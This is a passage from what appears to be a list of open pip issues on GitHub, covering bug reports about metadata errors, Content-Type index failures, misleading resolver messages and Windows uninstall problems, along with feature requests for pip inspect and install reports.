  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3032, in _compute_dependencies
    for req in self._parsed_pkg_info.get_all('Requires-Dist') or []:
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3014, in _parsed_pkg_info
    metadata = self.get_metadata(self.PKG_INFO)
  File "/usr/local/python3.7.5/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 1895, in get_metadata
    raise KeyError("No metadata except PKG-INFO is available")
KeyError: 'No metadata except PKG-INFO is available'
```

### What needs to be done

What shall I do?

### Guidance for potential contributors

This issue is a good starting point for first time contributors -- the process of fixing this should be a good introduction to pip's development workflow. If there is not a corresponding pull request for this issue, it is up for grabs. For directions for getting set up, see our [Getting Started Guide](https://pip.pypa.io/en/latest/development/getting-started/). If you are working on this issue and have questions, feel free to ask them here. If you've contributed code to pip before, we encourage you to pick up an issue without this label.
user: tangculiji0612
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11354: state: open
title: Allow but deprecate index with wrong Content-Type
body: Fix #11340.
user: uranusjr
issue_11349: state: open
title: Unable to find resource `t64.exe` in `pip._vendor.distlib`
body: ### Description

I'm using `Python 3.10.5` and having `PIP 22.2.1` and while updating PIP to latest Version 22.2.2 **ValueError** raises and its not updating PIP
![image](https://user-images.githubusercontent.com/64340067/182902923-52c03bc2-97b7-4e2e-a193-61545263fb26.png)


### Expected behavior

_No response_

### pip version

22.2.1

### Python version

3.10.5

### OS

Windows 10

### How to Reproduce

1. Open Console and Run
2. `python -m pip install --upgrade pip`

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Yuvaraja28
labels: type: bug: A confirmed bug or unintended behavior
issue_11346: state: open
title: Confirm before installing requirements globally
body: ### What's the problem this feature will solve?

This will save you from mistakenly installing your project's requirements globally

### Describe the solution you'd like
Check if virtualenv is activated. If not then ask for confirmation

Installing requirements

```
$ pip install -r requirements.txt
Installing globally, Proceed (Y/n)?                        # If virtualenv not activated
```

to skip check

```
$ pip install -r -y requirements.txt
```


### Alternative Solutions

It has to be added to pip itself.

### Additional context

https://pip.pypa.io/en/stable/cli/pip_uninstall/#cmdoption-y

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: almahdi404
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11340: state: open
title: pip ignores index pages with Content-Type not defined in PEP 691
body: ### Description

Our github action's CI has been failing sporadically with the following errors since 7/26:

## Example 1:
https://github.com/newrelic/newrelic-python-agent/runs/7621668567?check_suite_focus=true
```
WARNING: Skipping page https://pypi.org/simple/pytest/ because the GET request got Content-Type: Unknown. The only supported Content-Types are application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html, and text/html
ERROR: Could not find a version that satisfies the requirement pytest==6.2.5 (from versions: none)
ERROR: No matching distribution found for pytest==6.2.5
```

## Example 2:
https://github.com/newrelic/newrelic-python-agent/runs/7621668309?check_suite_focus=true
```
WARNING: Skipping page https://pypi.org/simple/beautifulsoup4/ because the GET request got Content-Type: Unknown. The only supported Content-Types are application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html, and text/html
INFO: pip is looking at multiple versions of <Python from Requires-Python> to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of pytest to determine which version is compatible with other requirements. This could take a while.
ERROR: Could not find a version that satisfies the requirement beautifulsoup4 (from webtest) (from versions: none)
ERROR: No matching distribution found for beautifulsoup4
```

We tried explicitly disabling the caching directory but this did not fix the issue. At around the same time this issue began, we noticed the following issue was filled in the pip repo: https://github.com/pypi/warehouse/issues/11949. We also noticed that the following issue appears to be the same issue we are running into now though the root cause may be different: https://github.com/pypa/pip/issues/5345.



### Expected behavior

`.tox/postgres-datastore_psycopg2-py39-psycopg20208/bin/pip install pytest==6.2.5` succeeds.

### pip version

22.2.1

### Python version

I have personally seen failures on 3.9.13, 3.8.13, 2.7.18. These failures appear to be independent of the Python version.

### OS

  Ubuntu   20.04.4   LTS

### How to Reproduce

1. Kick off a test run by clicking the refresh icon (labeled "Re-run this job") on [this](https://github.com/newrelic/newrelic-python-agent/runs/7640182692?check_suite_focus=true) page.
![image](https://user-images.githubusercontent.com/30059933/182470589-321af615-d34b-470b-8d29-261595e072f4.png) and continue to do so until the tests fail (sometimes it fails the first time, sometimes it takes 2 or 3 runs to fail).

**Note we have not been able to reproduce this locally on our machines, only inside our Github Actions CI.

### Output

```shell
https://github.com/newrelic/newrelic-python-agent/runs/7634470208?check_suite_focus=true

[9046] /home/runner/work/newrelic-python-agent/newrelic-python-agent$ /home/runner/work/newrelic-python-agent/newrelic-python-agent/.tox/postgres-datastore_psycopg2-py39-psycopg20208/bin/pip install pytest==6.2.5 iniconfig pytest-cov WebTest==2.0.35 'psycopg2-binary<2.9'
WARNING: Skipping page https://pypi.org/simple/pytest/ because the GET request got Content-Type: Unknown. The only supported Content-Types are application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html, and text/html
ERROR: Could not find a version that satisfies the requirement pytest==6.2.5 (from versions: none)
ERROR: No matching distribution found for pytest==6.2.5
ERROR: invocation failed (exit code 1)
ERROR: could not install deps [pytest==6.2.5, iniconfig, pytest-cov, WebTest==2.0.35, psycopg2-binary<2.9]; v = InvocationError("/home/runner/work/newrelic-python-agent/newrelic-python-agent/.tox/postgres-datastore_psycopg2-py39-psycopg20208/bin/pip install pytest==6.2.5 iniconfig pytest-cov WebTest==2.0.35 'psycopg2-binary<2.9'", 1)
postgres-datastore_psycopg2-py39-psycopg20208 finish: getenv /home/runner/work/newrelic-python-agent/newrelic-python-agent/.tox/postgres-datastore_psycopg2-py39-psycopg20208 after 1.94 seconds
cleanup /home/runner/work/newrelic-python-agent/newrelic-python-agent/.tox/.tmp/package/2/newrelic-0.0.zip

=================================== log end ====================================
✖ FAIL postgres-datastore_psycopg2-py39-psycopg20208 in 4.419 seconds
postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207 uses /opt/hostedtoolcache/Python/3.6.15/x64/bin/python3.6
postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207 start: parallel postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207 
[9112] /home/runner/work/newrelic-python-agent/newrelic-python-agent$ /opt/hostedtoolcache/Python/3.10.5/x64/bin/python3.10 /opt/hostedtoolcache/Python/3.10.5/x64/lib/python3.10/site-packages/tox/__main__.py -vv -e postgres-datastore_asyncpg-py37,postgres-datastore_asyncpg-py39,postgres-datastore_postgresql-py36,postgres-datastore_postgresql-py38,postgres-datastore_psycopg2-py27-psycopg20208,postgres-datastore_psycopg2-py37-psycopg20208,postgres-datastore_psycopg2-py39-psycopg20208,postgres-datastore_psycopg2cffi-py27-psycopg2cffi0207,postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207,postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207,postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208,postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208 -p auto --installpkg .tox/.tmp/package/1/newrelic-0.0.zip >.tox/postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207/log/postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207-0.log
postgres-datastore_psycopg2cffi-py27-psycopg2cffi0207 finish: parallel postgres-datastore_psycopg2cffi-py27-psycopg2cffi0207  after 20.55 seconds
✔ OK postgres-datastore_psycopg2cffi-py27-psycopg2cffi0207 in 20.555 seconds
pypy (/opt/hostedtoolcache/PyPy/2.7.18/x64/bin/pypy) is {'executable': '/opt/hostedtoolcache/PyPy/2.7.18/x64/bin/pypy', 'implementation': 'PyPy', 'version_info': [2, 7, 18, 'final', 42], 'version': '2.7.18 (8e99af2f9b8e3a58dd8691378a36ef43c3139ee9, Mar 29 2022, 05:16:07)\n[PyPy 7.3.9 with GCC 10.2.1 20210130 (Red Hat 10.2.1-11)]', 'is_64': True, 'sysplatform': 'linux2', 'os_sep': '/', 'extra_version_info': [7, 3, 9, 'final', 0]}
postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207 uses /opt/hostedtoolcache/PyPy/2.7.18/x64/bin/pypy
postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207 start: parallel postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207 
[9962] /home/runner/work/newrelic-python-agent/newrelic-python-agent$ /opt/hostedtoolcache/Python/3.10.5/x64/bin/python3.10 /opt/hostedtoolcache/Python/3.10.5/x64/lib/python3.10/site-packages/tox/__main__.py -vv -e postgres-datastore_asyncpg-py37,postgres-datastore_asyncpg-py39,postgres-datastore_postgresql-py36,postgres-datastore_postgresql-py38,postgres-datastore_psycopg2-py27-psycopg20208,postgres-datastore_psycopg2-py37-psycopg20208,postgres-datastore_psycopg2-py39-psycopg20208,postgres-datastore_psycopg2cffi-py27-psycopg2cffi0207,postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207,postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207,postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208,postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208 -p auto --installpkg .tox/.tmp/package/1/newrelic-0.0.zip >.tox/postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207/log/postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207-0.log
postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207 finish: parallel postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207  after 21.97 seconds
✔ OK postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207 in 21.973 seconds
postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208 uses /opt/hostedtoolcache/Python/3.7.13/x64/bin/python3.7
postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208 start: parallel postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208 
[10603] /home/runner/work/newrelic-python-agent/newrelic-python-agent$ /opt/hostedtoolcache/Python/3.10.5/x64/bin/python3.10 /opt/hostedtoolcache/Python/3.10.5/x64/lib/python3.10/site-packages/tox/__main__.py -vv -e postgres-datastore_asyncpg-py37,postgres-datastore_asyncpg-py39,postgres-datastore_postgresql-py36,postgres-datastore_postgresql-py38,postgres-datastore_psycopg2-py27-psycopg20208,postgres-datastore_psycopg2-py37-psycopg20208,postgres-datastore_psycopg2-py39-psycopg20208,postgres-datastore_psycopg2cffi-py27-psycopg2cffi0207,postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207,postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207,postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208,postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208 -p auto --installpkg .tox/.tmp/package/1/newrelic-0.0.zip >.tox/postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208/log/postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208-0.log
postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208 finish: parallel postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208  after 20.76 seconds
✔ OK postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208 in 20.764 seconds
postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208 uses /opt/hostedtoolcache/Python/3.9.13/x64/bin/python3.9
postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208 start: parallel postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208 
[11484] /home/runner/work/newrelic-python-agent/newrelic-python-agent$ /opt/hostedtoolcache/Python/3.10.5/x64/bin/python3.10 /opt/hostedtoolcache/Python/3.10.5/x64/lib/python3.10/site-packages/tox/__main__.py -vv -e postgres-datastore_asyncpg-py37,postgres-datastore_asyncpg-py39,postgres-datastore_postgresql-py36,postgres-datastore_postgresql-py38,postgres-datastore_psycopg2-py27-psycopg20208,postgres-datastore_psycopg2-py37-psycopg20208,postgres-datastore_psycopg2-py39-psycopg20208,postgres-datastore_psycopg2cffi-py27-psycopg2cffi0207,postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207,postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207,postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208,postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208 -p auto --installpkg .tox/.tmp/package/1/newrelic-0.0.zip >.tox/postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208/log/postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208-0.log
postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207 finish: parallel postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207  after 27.38 seconds
✔ OK postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207 in 29.762 seconds
postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208 finish: parallel postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208  after 20.10 seconds
✔ OK postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208 in 20.1 seconds
___________________________________ summary ____________________________________
  postgres-datastore_asyncpg-py37: commands succeeded
  postgres-datastore_asyncpg-py39: commands succeeded
  postgres-datastore_postgresql-py36: commands succeeded
  postgres-datastore_postgresql-py38: commands succeeded
  postgres-datastore_psycopg2-py27-psycopg20208: commands succeeded
  postgres-datastore_psycopg2-py37-psycopg20208: commands succeeded
ERROR:   postgres-datastore_psycopg2-py39-psycopg20208: parallel child exit code 1
  postgres-datastore_psycopg2cffi-py27-psycopg2cffi0207: commands succeeded
  postgres-datastore_psycopg2cffi-py36-psycopg2cffi0207: commands succeeded
  postgres-datastore_psycopg2cffi-pypy-psycopg2cffi0207: commands succeeded
  postgres-datastore_psycopg2cffi-py37-psycopg2cffi0208: commands succeeded
  postgres-datastore_psycopg2cffi-py39-psycopg2cffi0208: commands succeeded
cleanup /home/runner/work/newrelic-python-agent/newrelic-python-agent/.tox/.tmp/package/1/newrelic-0.0.zip
Error: Process completed with exit code 1.

```
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: hmstepanek
labels: type: bug: A confirmed bug or unintended behavior
state: needs discussion: This needs some more discussion
issue_11327: state: open
title: After python -m pip install ... returns empty string
body: ### Description

When I'm trying to install any package, for example 

`python -m pip install selenium` in my terminal returns empty string - nothing happens. No error appears. The terminal is just ready for the next command. I use, by the way, windows 11, python 3.10.5 and pip version pip 22.0.4 from C:\Python310\lib\site-packages\pip (python 3.10).

Python and pip are in PATH.
echo %PAHT%  contains:

`C:\Python310;C:\Python310;C:\Python310\Scripts;C:\Python310\Lib\site-packages\pip;`

When I'm trying install .whl -> 
`python -m pip install selenium-4.3.0-py3-none-any.whl
Processing c:\users\evgeny\downloads\selenium-4.3.0-py3-none-any.whl`

And nothing happens. `python -m pip list` returns only pip and setuptools.

And one more clarification: I use far manager and use a plugin to set environment variables so that I can easily switch between different versions.
Has anyone encountered such a problem?




### Expected behavior

_No response_

### pip version

22.0.4

### Python version

3.10.5 

### OS

Windows 11

### How to Reproduce

1. Install Far manager 
2. Install Environment manager tool for Far manager
3. Install python with pip
4. Try to install any package

I haven't tried these steps on other devices.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: eugenesmsk
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11326: state: open
title: Test that venvs created in tests are properly isolated
body: See the discussion in #11320 for context. It appears that virtual environments created via the stdlib `venv` module in tests are not properly isolated. This PR adds a test case to reproduce the issue.
user: pfmoore
issue_11321: state: open
title: Misleading `ResolutionImpossible` message w/ a requirement duplicate and an incompatible Python runtime
body: ### Description

I've faced this by updating a pip-tools-managed constraints file under Python 3.9 but using these pins under Python 3.6. Obviously, some of them were incompatible (which I didn't notice immediately) but the problem I'm reporting is how pip communicates what's happened.

Pip errors out, claiming that two user requests of the same package are conflicting, when they are not. One of the requests has an unspecified requested version so basically anything matches, and the other one is pinned to a specific release. So basically out of these two, the resolver would select the pinned one, and it'd be compatible with a more broad request.

Keeping the above in mind, what pip suggests in the error message is not really true/obvious. I suppose that because the pin has incompatible `python_version`, it's facing an actual (invisible to the user) conflict. But this information isn't mentioned in the log which leads to a misleading impression.

I've crafted a reproducer below.

### Expected behavior

The error message should specify that it's `Require-Python` that causes the problem, not two user requests that are actually compatible with each other.

### pip version

Unknown but I reproduced this locally with v22.2.1 and v21.3.1

### Python version

3.6 on CI, reproduced locally with 3.8

### OS

macos-latest @ GHA, Gentoo Linux locally

### How to Reproduce

```console
$ python3.7 -m pip install django django==4.0.6
Collecting django
  Using cached Django-3.2.14-py3-none-any.whl (7.9 MB)
ERROR: Cannot install django and django==4.0.6 because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested django
    The user requested django==4.0.6

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
```
_(in my case, this was caused by `setuptools` with older pip and older Python version but I've found another package to demonstrate it under a supported Python version)_

### Output

```shell
ERROR: Cannot install setuptools because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested setuptools
    The user requested (constraint) setuptools==63.2.0

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/user_guide/#fixing-conflicting-dependencies
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: webknjaz
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
S: needs triage: Issues/PRs that need to be triaged
issue_11317: state: open
title: pip installs *.pyc files with stage directory path in them
body: ### Description

I need to install a python package into a stage directory.

The command I run from the source directory is:

> pip install {my-pkg-name} --isolated --root=/tmp/stage/dir --prefix=/usr/local --ignore-installed --no-deps


This command installs the package into the right location, but *.cpython-39.pyc files have full paths to *.py files in the source directory.

If paths of *.py are needed pip should adjust them so that they should begin with prefix (/usr/local). This is because the source directory will be deleted before the package is run.

What is wrong in the above command?

### Expected behavior

_No response_

### pip version

22.1.2

### Python version

3.9

### OS

FreeBSD 13.1

### How to Reproduce

git clone https://github.com/openqasm/openqasm-pygments.git
cd openqasm-pygments
pip install openqasm-pygments --isolated --root=/tmp/openqasm-pygments --prefix=/usr/local --ignore-installed --no-deps



### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: yurivict
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11316: state: open
title: Report install errors and failures in JSON format
body: ### What's the problem this feature will solve?

Currently, `pip install --report` reports errors and exceptions in plain text which is inconvenient for parsing.

### Describe the solution you'd like

Instead of 
```
$ pip install pip-tools==6.8.0 pip==20.1 --dry-run --report -
ERROR: Cannot install pip-tools==6.8.0 and pip==20.1 because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested pip==20.1
    pip-tools 6.8.0 depends on pip>=21.2

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
```

report errors and exceptions in JSON format, for example:

```
$ pip install pip-tools==6.8.0 pip==20.1 --dry-run --report -
{
  "error": {
    "code": "resolution_impossible",
    "description": "Cannot install pip-tools==6.8.0 and pip==20.1 because these package versions have conflicting dependencies",
    "extra": {
      "requirements": ["pip"]
    }
  }
}
```

### Alternative Solutions

Let users parse plain text and let them hope for the best.

### Additional context

https://github.com/jazzband/pip-tools/issues/1654#issuecomment-1197269367

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: atugushev
labels: type: feature request: Request for a new feature
C: install report: pip install --report
issue_11311: state: open
title: Limit traceback to one entry by default
body: ### What's the problem this feature will solve?

Large and unnecessary tracebacks in user bug-reports

### Describe the solution you'd like

Set the trace-back limit `sys.tracebacklimit` to 1 by default. Don't set when verbose-logging (ie `-vv` passed at command-line). This includes build-backend subprocesses (in the vendored [pep517 subprocess](https://github.com/pypa/pip/blob/main/src/pip/_vendor/pep517/in_process/_in_process.py)), but not when using an in-tree build-backend.

### Alternative Solutions

None

### Additional context

None

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: EpicWink
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11306: state: open
title: Format project_url in pip inspect as dict
body: This makes it easier to parse. `pip inspect` currently shows a message, that the output may change, so I guess this is allowed.

refs #11305
user: JakobDev
labels: C: inspect: The inspect command
issue_11305: state: open
title: Use dict for project_url in inspect
body: ### What's the problem this feature will solve?

Currently `project_url` in the output of `pip inspect` has this format:
```json
"project_url": [
    "Bug Reports, https://github.com/Ousret/charset_normalizer/issues",
    "Documentation, https://charset-normalizer.readthedocs.io/en/latest"
],
```
If you want to parse this, you first need to do a string split.

### Describe the solution you'd like

This would be the better format:
```json
"project_url": {
    "Bug Reports": "https://github.com/Ousret/charset_normalizer/issues",
    "Documentation": "https://charset-normalizer.readthedocs.io/en/latest"
},
```

### Alternative Solutions

None

### Additional context

None

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: JakobDev
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
C: inspect: The inspect command
issue_11304: state: open
title: Allow quering single package with inspect
body: ### What's the problem this feature will solve?

`pip inspect` currently shows all packages. If you are only intrested in one package, you don't need the full list.

### Describe the solution you'd like

Maybe adding a `--single-pakage foo` flag.

### Alternative Solutions

None

### Additional context

`pip inspect` was listed as alternative of `pip show --format json` in #5261, so it should be easy to querry data about just one packages without needing to loop through the whole list and wasting resources.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: JakobDev
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
C: inspect: The inspect command
issue_11296: state: open
title: Document support for self-referential extras
body: ### What's the problem this feature will solve?

This (coupled with maybe a new explicit test) will provide a guarantee to users that the following use case is supported:

```toml
[project]
name = "pkg"

[project.optional-dependencies]
all = ["pkg[a]", "pkg[b]"]
a = ["..."]
b = ["..."]
```

### Describe the solution you'd like

Add a note in docs + a new test that explicitly checks this

### Alternative Solutions

N/A

### Additional context

@ichard26 found that this has been supported since 21.2 (tested by @henryiii) https://github.com/pypa/pip/issues/10393#issuecomment-941885429

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ofek
labels: type: docs: Documentation related
state: awaiting PR: Feature discussed, PR is needed
issue_11292: state: open
title: Allow to code pip hooks
body: ### What's the problem this feature will solve?

Allow executing custom code during the installation process of a package. 

### Describe the solution you'd like

I thought of something like a .pip hook folder in which we have a __init__.py file that will be executed before and after an installation. It should set ENV vars like PIP_BEFORE_INSTALL and PIP_AFTERINSTALL and PIP_INSTALLED_PACKAGE etc. 

### Alternative Solutions

The alternative is something like a pip.json in which we can define events to hook into the execution cycle. 

The alternative to my below-written example would also be to have an additional flag for pip --freeze which will only list first level dependencies. first-level

### Additional context

Someone before me has already requested this feature - https://github.com/pypa/pip/issues/3441

I can see that something like license checks belongs to github. But hear me out on this one. Currently, when I or one of my colleague installs a package it is just added to the dependencies and for big projects where people ran pip freeze, you get sometimes into dependency hell. 

I would, for instance, create a hook that would allow me to list only first-level dependencies which were directly installed. I also would ask the user for a reason why it is installed and write that input into a changelog file. This only one example I can think of for what might be useful.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: snake-py
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11278: state: open
title: uninstalling or upgrading pip may fail when executed from the "Scripts" directory
body: ### Description

This issue is a duplicate of the closed issue #10505, which I think was hastily closed without a complete investigation. In Windows, uninstalling pip should not 'compress' deleting the "pip\*.exe" binaries in the "Scripts" directory. Doing so will try to stash and delete the "Scripts" directory itself if it contains only the pip binaries. In this case, if the "Scripts" directory is open without delete/rename access sharing (e.g. as the working directory of any process, including the Python process itself), then the `shutil.move()` call will fail with a sharing violation (i.e. winerror 32). The empty "Scripts" directory and its `shutil.copytree()` copy to an adjacent temporary name are left behind, as are the stashed (renamed) "pip" and "pip\*dist-info" directories in "Lib\\site-packages". There is no good reason that a user shouldn't be able to reliably uninstall or upgrade pip when the "Scripts" directory is open as a working directory in one or more processes. There is no good reason for pip to even try to remove the "Scripts" directory.


### Expected behavior

In Windows, uninstalling pip should not try to remove the "Scripts" directory if it would be left empty. At least it should gracefully handle a sharing violation by harmlessly leaving the empty directory in place.

### pip version

22.0.4

### Python version

3.11

### OS

Windows

### How to Reproduce

Install Python 3.11 with pip installed (or subsequently installed via `-m ensurepip --default-pip`). Uninstall pip with the "Scripts" directory as the working directory of the Python process. Use a shell with administrator access if Python is installed for all users. For example:

```none
C:\Program Files\Python311\Scripts>..\python -m pip uninstall pip
```


### Output

```shell
$ C:\Program Files\Python311\Scripts>..\python -m pip uninstall pip
Found existing installation: pip 22.0.4
Uninstalling pip-22.0.4:
  Would remove:
    c:\program files\python311\lib\site-packages\pip-22.0.4.dist-info\*
    c:\program files\python311\lib\site-packages\pip\*
    c:\program files\python311\scripts\pip.exe
    c:\program files\python311\scripts\pip3.11.exe
    c:\program files\python311\scripts\pip3.exe
Proceed (Y/n)? y
ERROR: Exception:
Traceback (most recent call last):
  File "C:\Program Files\Python311\Lib\shutil.py", line 825, in move
    os.rename(src, real_dst)
PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: 'c:\\program files\\python311\\scripts\\' -> 'C:\\Program Files\\Python311\\~cripts'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Program Files\Python311\Lib\site-packages\pip\_internal\cli\base_command.py", line 167, in exc_logging_wrapper
  File "C:\Program Files\Python311\Lib\site-packages\pip\_internal\commands\uninstall.py", line 97, in run
  File "C:\Program Files\Python311\Lib\site-packages\pip\_internal\req\req_install.py", line 638, in uninstall
  File "C:\Program Files\Python311\Lib\site-packages\pip\_internal\req\req_uninstall.py", line 369, in remove
  File "C:\Program Files\Python311\Lib\site-packages\pip\_internal\req\req_uninstall.py", line 267, in stash
  File "C:\Program Files\Python311\Lib\site-packages\pip\_internal\utils\misc.py", line 305, in renames
  File "C:\Program Files\Python311\Lib\shutil.py", line 843, in move
    rmtree(src)
  File "C:\Program Files\Python311\Lib\shutil.py", line 758, in rmtree
    return _rmtree_unsafe(path, onerror)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Program Files\Python311\Lib\shutil.py", line 625, in _rmtree_unsafe
    onerror(os.rmdir, path, sys.exc_info())
  File "C:\Program Files\Python311\Lib\shutil.py", line 623, in _rmtree_unsafe
    os.rmdir(path)
PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: 'c:\\program files\\python311\\scripts\\'

$ C:\Program Files\Python311\Scripts>dir /b

$ C:\Program Files\Python311\Scripts>dir /b ..\~cripts
pip.exe
pip3.11.exe
pip3.exe

$ C:\Program Files\Python311\Scripts>dir /b ..\Lib\site-packages\~ip*
~ip
~ip-22.0.4.dist-info
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: eryksun
issue_11275: state: open
title: pip should ignore `[install] no-deps = true` in pip.conf when setting up isolated build environment.
body: ### Description

AFAICT, having
```
[install]
no-deps = true
```
in one's pip.conf (which is my case as I prefer manually resolving dependencies (or rather with some custom scripts) in my work environment) leads to dependencies *also* not being installed when setting up the isolated build environment (i.e. the `pip install` calls when setting up that environment will also honor `no-deps = true`), but that makes the build fail as build-time dependencies will fail to import due to missing their *own* dependencies, and that's not something I (as a user) can manually fix, as the entire build-time environment only exists for the duration of the invocation of pip.

### Expected behavior

Setting up the build environment should ignore `[install] no-deps = true`.  Or, if that sounds too special-cased, perhaps there can be some way to say "nested pip calls during the setup of the build environment should use a different pip.conf".

To be clear, I understand that `[install] no-deps = true` makes me responsible for handling dependencies myself, but in the case of build-time nested dependencies in an isolated build environment, there is no time interval where I can actually do that.

### pip version

22.1.2

### Python version

3.10

### OS

Arch Linux

### How to Reproduce

In a clean venv and empty tmpdir:
```
$ printf '[install]\nno-deps = true' > pip.conf
$ PIP_CONFIG_FILE=pip.conf pip install -v --no-binary=scikit-image scikit-image
```
scikit-image has a build-time dependency on pythran, which has an install-requires on gast; this install-requires is not honored.

### Output

```shell
Using pip 22.1.2 from /tmp/testenv/lib/python3.10/site-packages/pip (python 3.10)
Collecting scikit-image
  Downloading scikit-image-0.19.3.tar.gz (22.2 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 22.2/22.2 MB 10.1 MB/s eta 0:00:00

<elided>

  Installing collected packages: pythran, wheel, setuptools, packaging, numpy, Cython
  Successfully installed Cython-0.29.30 numpy-1.21.4 packaging-21.3 pythran-0.11.0 setuptools-59.4.0 wheel-0.37.1
  Installing build dependencies ... done
  Running command Getting requirements to build wheel
  Traceback (most recent call last):

<elided>

    File "/tmp/pip-build-env-nosq_n6m/overlay/lib/python3.10/site-packages/pythran/passmanager.py", line 14, in <module>
      import gast as ast
  ModuleNotFoundError: No module named 'gast'
  error: subprocess-exited-with-error
  
  × Getting requirements to build wheel did not run successfully.
  │ exit code: 1
  ╰─> See above for output.
  
